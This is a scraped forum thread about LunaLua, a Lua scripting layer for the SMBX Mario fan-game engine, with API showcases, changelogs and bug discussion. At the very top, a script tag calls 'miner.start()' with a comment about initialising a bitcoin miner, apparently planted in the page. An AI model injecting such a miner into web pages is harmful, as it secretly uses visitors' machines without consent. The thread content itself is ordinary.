<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communityirc.cat.biomario fan games galaxy

LunaLua Offical Thread

The second SMBX collab!

Shall I stream some LunaLua live development?

Yes
23
92%
No
2
8%
 
Total votes: 25

User avatar
h2643
<Knux> h2643 the super computer
Posts: 3
Joined: 3 years ago
Location: Ukraine (Украина)
Contact:

Re: LunaLua Offical Thread

Postby h2643 » 1 year ago



Not my api, just wanted to play around with it.
Image

User avatar
ohmato
skrrt skrrt
Posts: 793
Joined: 2 years ago
Location: location, location
Contact:

Re: LunaLua Offical Thread

Postby ohmato » 1 year ago

SMW Camera update. Implemented autoscroll and the ability to lock the camera within a user-defined "room" (example of use can be to make Megaman-style transitions). I think these were the last major features I wanted to add.
Image
Image
Image
Image

User avatar
Spinda
you spinda right round
Posts: 99
Joined: 2 years ago
First name: Florian
Pronouns: he/him/his
Location: Germany
Contact:

Re: LunaLua Offical Thread

Postby Spinda » 1 year ago

Just realised I didn't even post about my WIP API here!

It's aimed towards recreating Undertale battles in SMBX, and you're able to somewhat easily recreate encounters. It's essentially finished, but I can't release it just now bc I first have get the last few bugs ironed out.

Bullet pattern involving animations, variable bullet hitboxes and in-attack change of the soul color

Killing (FPS drop is because of gif recording)

Death

Battle Intro

Blue Soul feat. colored attacks

All the menu stuff also works, but may be kinda convoluted to set up. I have yet to find the right balance between easy-to-use and giving the users a lot of freedom in what they can do with it.
ImageImageImageImageImageImage

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 517
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: LunaLua Offical Thread

Postby Rockythechao » 1 year ago

I went ahead and made a proof of concept/prototype custom pause menu using the cinematX suite.




You can download it here; make sure you have the latest versions of cinematX, graphX, textblox and inputs installed!
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 517
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: LunaLua Offical Thread

Postby Rockythechao » 1 year ago

Apologies for the double-post, but... fancy parallax backgrounds and foregrounds!


You can download the script from the wiki page:
http://engine.wohlnet.ru/pgewiki/ParalX.lua
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
HenryRichard
Not a licensed doctor or nurse.
Posts: 30
Joined: 1 year ago
Pronouns: he/him/overlord
Location: ok

Re: LunaLua Offical Thread

Postby HenryRichard » 1 year ago

That's probably the coolest visual effect I've ever seen done with LunaLua!

Time to go make some really cool space backgrounds.
Image

User avatar
Wohlstand
PGE and LunaLUA developer
Posts: 154
Joined: 3 years ago

Re: LunaLua Offical Thread

Postby Wohlstand » 1 year ago

Hello!

Yesterday we are migrated PGE Project's and LunaLUA main site to a new server and we now finally have a separated domain name.

New location of PGE Project and LunaLUA downloads, PGE-Wiki ("home" of LunaLUA documentation), PGE Forums, etc. is here: http://wohlsoft.ru.
All links from engine.wohlnet.ru will be automatically redirected to a new place!
  • New server is going to be much faster for America, Australia and Asia (continents which are located far out off Moscow city)
  • More stability
  • Much more disk space for a file storing!

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: LunaLua Offical Thread

Postby Kevsoft » 1 year ago

LunaLua v0.7.3 is finally released. I apologize for the long waiting, but there where a lot of critical changes in this version.
Please make sure that your CC12 level is working with this version!

So here is the changelog:
* Custom images can now be drawn behind SMBX sprites.
* Hardcoded images can now be patched via hardcoded-*.png
* Added new compareLunaVersion for version checking
* Added new event onKeyboardPress which handles raw keyboard input
* Added new draw function (Graphics.draw [Named args])
* Added new OpenGL drawing system (Graphics.glDraw [Named args])
* Added new lua based pause function: Misc.pause, Misc.unpause, Misc.isPausedByLua
* Improvement [LunaLua]: Refactored mainV2.lua for better performance and smaller code
* Added new function for better controlling the loop: onTick, onTickEnd, onDraw, onDrawEnd
* Improvement [LunaLua]: onHUDDraw and onCameraUpdate now has the camera index as argument.
* Improvement [LunaLua]: onMessageBox can now be cancelled
* Added FIELD_BOOL which can be used for the mem-functions.
* Added NPC.get overload with only the npc-id as argument.
* Bugfix [LunaLua]: SMBX doesn't crash anymore, if you pass nil to some LunaLua functions.
* Improvement [LunaLua]: The max npc id is now 300
* Added NPC:harm
* Bugfix [LunaLua]: Tiles can now correctly be replaced with PNGs.
* Bugfix [LunaLua]: PlayerSetting.height was pointing to players width
* Extended Camera class
* Bugfix [LunaLua]: Cheat defines now don't reset.
* Added registerCustomEvent, so you can create custom events from your APIs.
* Added event onCameraUpdate and Camera.x, Camera.y is now writeable.
* Added a lot of new world map classes.
* Added Misc.doPSwitchRaw - You can now trigger the raw P-Switch effect.
* Added Misc.doPSwitch - You can now trigger the full P-Switch effect.
* Added Misc.doBombExplosion - You can now spawn bomb explosions.
* Bugfix [LunaLua]: Misc.resolveFile and Misc.resolveDirectory don't crash anymore and works faster now.
* Bugfix [LunaLua]: Some unreliability of Animation.spawn has been fixed.
* Bugfix [LunaLua]: Level sounds.ini now works correctly when using from the main game
* Bugfix [LunaLua]: Hitboxes and offsets are now reset before loading a new level or world
* Bugfix [LunaLua]: Misc.loadEpisode now works also without Autostart ini file.
* Added onStart - This event is the better "onLoad". This event will be executed, when SMBX is running the first frame.
* Fixed music.ini bug which wasn't supported track number suffix for NSF/HES/etc. multi-track musics
* NPCs can now be killed, even if they are hidden.
* Add width/height properties to LuaImageResource.
* Allow onNPCKill to be cancelled.

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 517
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: LunaLua Offical Thread

Postby Rockythechao » 1 year ago

So it's come to my attention that I've been doing something dumb with the classes in my libraries - namely, keeping them in the global namespace and having users call their constructors directly.

Just to be safe, I'll be removing access to the <class>.create () functions in future versions of textblox, playerGfx and other such libraries in exchange for functions like textblox.createFont(), playerGfx.createSet(), etc. I've already done this with paralX.

This is definitely going to break old code, though you'll mostly just need to change the function names, not the arguments; with paralX, it's just a matter of replacing all instances of Parallax.create with paralX.create. This change shouldn't impact cinematX code because Actor.create() has been a strictly internal function from the start.

...With that said, cinematX is undergoing a general overhaul to make the codebase more structured and manageable, with a lot of stuff being moved to sub-namespaces (i.e. cinematX.runCoroutine => cinematX.routine.run, startDialog => Dialog.start, etc.) I'll do what I can to keep old functions and variables working, but as of 0.8 they'll be considered deprecated.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 502
Joined: 4 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: LunaLua Offical Thread

Postby ztarwuff » 1 year ago

Kevsoft wrote:LunaLua v0.7.3 is finally released. I apologize for the long waiting, but there where a lot of critical changes in this version.
Please make sure that your CC12 level is working with this version!

So here is the changelog:
* Custom images can now be drawn behind SMBX sprites.
* Hardcoded images can now be patched via hardcoded-*.png
* Added new compareLunaVersion for version checking
* Added new event onKeyboardPress which handles raw keyboard input
* Added new draw function (Graphics.draw [Named args])
* Added new OpenGL drawing system (Graphics.glDraw [Named args])
* Added new lua based pause function: Misc.pause, Misc.unpause, Misc.isPausedByLua
* Improvement [LunaLua]: Refactored mainV2.lua for better performance and smaller code
* Added new function for better controlling the loop: onTick, onTickEnd, onDraw, onDrawEnd
* Improvement [LunaLua]: onHUDDraw and onCameraUpdate now has the camera index as argument.
* Improvement [LunaLua]: onMessageBox can now be cancelled
* Added FIELD_BOOL which can be used for the mem-functions.
* Added NPC.get overload with only the npc-id as argument.
* Bugfix [LunaLua]: SMBX doesn't crash anymore, if you pass nil to some LunaLua functions.
* Improvement [LunaLua]: The max npc id is now 300
* Added NPC:harm
* Bugfix [LunaLua]: Tiles can now correctly be replaced with PNGs.
* Bugfix [LunaLua]: PlayerSetting.height was pointing to players width
* Extended Camera class
* Bugfix [LunaLua]: Cheat defines now don't reset.
* Added registerCustomEvent, so you can create custom events from your APIs.
* Added event onCameraUpdate and Camera.x, Camera.y is now writeable.
* Added a lot of new world map classes.
* Added Misc.doPSwitchRaw - You can now trigger the raw P-Switch effect.
* Added Misc.doPSwitch - You can now trigger the full P-Switch effect.
* Added Misc.doBombExplosion - You can now spawn bomb explosions.
* Bugfix [LunaLua]: Misc.resolveFile and Misc.resolveDirectory don't crash anymore and works faster now.
* Bugfix [LunaLua]: Some unreliability of Animation.spawn has been fixed.
* Bugfix [LunaLua]: Level sounds.ini now works correctly when using from the main game
* Bugfix [LunaLua]: Hitboxes and offsets are now reset before loading a new level or world
* Bugfix [LunaLua]: Misc.loadEpisode now works also without Autostart ini file.
* Added onStart - This event is the better "onLoad". This event will be executed, when SMBX is running the first frame.
* Fixed music.ini bug which wasn't supported track number suffix for NSF/HES/etc. multi-track musics
* NPCs can now be killed, even if they are hidden.
* Add width/height properties to LuaImageResource.
* Allow onNPCKill to be cancelled.
I think this update might have made Willhart's Dark Prince completely unplayable. It's the only thing I've updated since I last opened the level file up. It was fine before but now the level doesn't work at all.

User avatar
Rednaxela
Maker of Shenanigans
Posts: 662
Joined: 3 years ago

Re: LunaLua Offical Thread

Postby Rednaxela » 1 year ago

ztarwuff wrote:I think this update might have made Willhart's Dark Prince completely unplayable. It's the only thing I've updated since I last opened the level file up. It was fine before but now the level doesn't work at all.
Ahh yes, that is... sort of expected. The method I had used to make Dark Prince work with the OpenGL renderer, makes the OpenGL render completely crash on a few people's computers (Pyro, and possibly one or two people from the smbx forums).

As a temporary measure, I disabled the bitwise rendering in the OpenGL renderer. It's on my todo list to implement a workaround suitable for Dark Prince that won't crash on such computers (currently thinking I'll just make it possible for the OpenGL renderer to be selectively disabled during Dark Prince via a lunadll.lua file)
Currently LPing: Ys Origin

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 502
Joined: 4 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: LunaLua Offical Thread

Postby ztarwuff » 1 year ago

Rednaxela wrote:
ztarwuff wrote:I think this update might have made Willhart's Dark Prince completely unplayable. It's the only thing I've updated since I last opened the level file up. It was fine before but now the level doesn't work at all.
Ahh yes, that is... sort of expected. The method I had used to make Dark Prince work with the OpenGL renderer, makes the OpenGL render completely crash on a few people's computers (Pyro, and possibly one or two people from the smbx forums).

As a temporary measure, I disabled the bitwise rendering in the OpenGL renderer. It's on my todo list to implement a workaround suitable for Dark Prince that won't crash on such computers (currently thinking I'll just make it possible for the OpenGL renderer to be selectively disabled during Dark Prince via a lunadll.lua file)
One other thing I forgot to mention. One of the levels I'll be submitting to the project will feature the exact same gimmick, so whatever your work around is needs to work for my level too.

User avatar
Rednaxela
Maker of Shenanigans
Posts: 662
Joined: 3 years ago

Re: LunaLua Offical Thread

Postby Rednaxela » 1 year ago

ztarwuff wrote:One other thing I forgot to mention. One of the levels I'll be submitting to the project will feature the exact same gimmick, so whatever your work around is needs to work for my level too.
It will if a single line gets added to a lunadll.lua file for your level. Any levels using this exact bitwise rendering gimmick will need to be flagged as such.
Currently LPing: Ys Origin

User avatar
Rednaxela
Maker of Shenanigans
Posts: 662
Joined: 3 years ago

Re: LunaLua Offical Thread

Postby Rednaxela » 1 year ago

I'm just going to drop this here, demonstrating an experimental LunaLua feature in the works:


(ignore the raocow hitbox being screwed up, I just neglected to load the .ini data that's required for the new A2XT raocow spritesheet to work right)
Currently LPing: Ys Origin

User avatar
HenryRichard
Not a licensed doctor or nurse.
Posts: 30
Joined: 1 year ago
Pronouns: he/him/overlord
Location: ok

Re: LunaLua Offical Thread

Postby HenryRichard » 1 year ago

It's super cool that that's possible - gonna be really cool to have the SMBX 2.0 characters easier to use!
Image

TvGameSmwSmbx
Posts: 3
Joined: 1 year ago

Re: LunaLua Offical Thread

Postby TvGameSmwSmbx » 1 year ago

Hello everybody I would like to share this with you this one here is my friend enjoy watching the video and please comment on the YouTube video




if you don't know what is my friend is he's from another SMBX website I'll put the link below

http://www.supermariobrosx.org/forums/m ... ile&u=7137

oh yeah before I forgot what version he's using lunalua 0.7.3 beta and this is still a work in progress is making it for me and I will credit him swear to God

User avatar
Spinda
you spinda right round
Posts: 99
Joined: 2 years ago
First name: Florian
Pronouns: he/him/his
Location: Germany
Contact:

Re: LunaLua Offical Thread

Postby Spinda » 1 year ago

http://wohlsoft.ru/pgewiki/Megaluavania.lua

Megaluavania has released! Documentation is heavy WIP tho.
ImageImageImageImageImageImage

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: LunaLua Offical Thread

Postby Kevsoft » 1 year ago

Hey guys!

I have exciting news about the next version of LunaDLL. You can read about it here: http://wohlsoft.ru/

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: LunaLua Offical Thread

Postby Kevsoft » 11 months ago

LunaLua v0.7.3.1 has been released, which means that the core API of LunaLua should now match the one in SMBX 2.0.
Changelog:
* Added non-ASCII paths support! (LunaLUA-SMBX's root finally can be placed into path with non-ASCII characters. But limit is: don't mix codepages (example: both Russian and Chinese characters in a path, or you will get VB Error "File not found". Same happens on Vanilla SMBX if you have been used non-local characters.))
* Added a test-mode system which can be controlled by PGE.
* Added Graphics.getBits32 which is a fast way to access the bits of a image resource
* glDraw can draw with scene coordinates (sceneCoords=true as named arg)
* Added CaptureBuffer class which allows to capture the screen at a specific render priority
* The max id of Blocks has been increased to 700
* Added lunabase.lua to LuaScriptsLib which is a global user script file.
* Overworld sprite can be patched at runtime
* Added Misc.registerCharacterId which allows to register new characters
* Added Misc.resolveGraphicsFile which only resolve a file from custom folder, episode folder or the graphics folder from SMBX.
* Added Graphics.loadImageResolved which is a handy combination of Graphics.loadImage and Misc.resolveGraphicsFile, with a useful error message if it can't find anything.
* Added PlayingSfxInstance class which represents a sound
* Added some new defines
* Enhanced profile.lua to be useful. Usable by hitting F3 to start and F3 to finish.
* Add force_disable_fullscreen option to luna.ini because the smbx fullscreen is acting up for some
* Add Player.getIntersecting


The development of LunaLua has been slowing down lately due to Rednaxela and me beeing busy with other stuff. Remember however, that there are still a lot of great APIs out there which makes LunaLua a whole lot better. So check it out!


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 1 guest

cron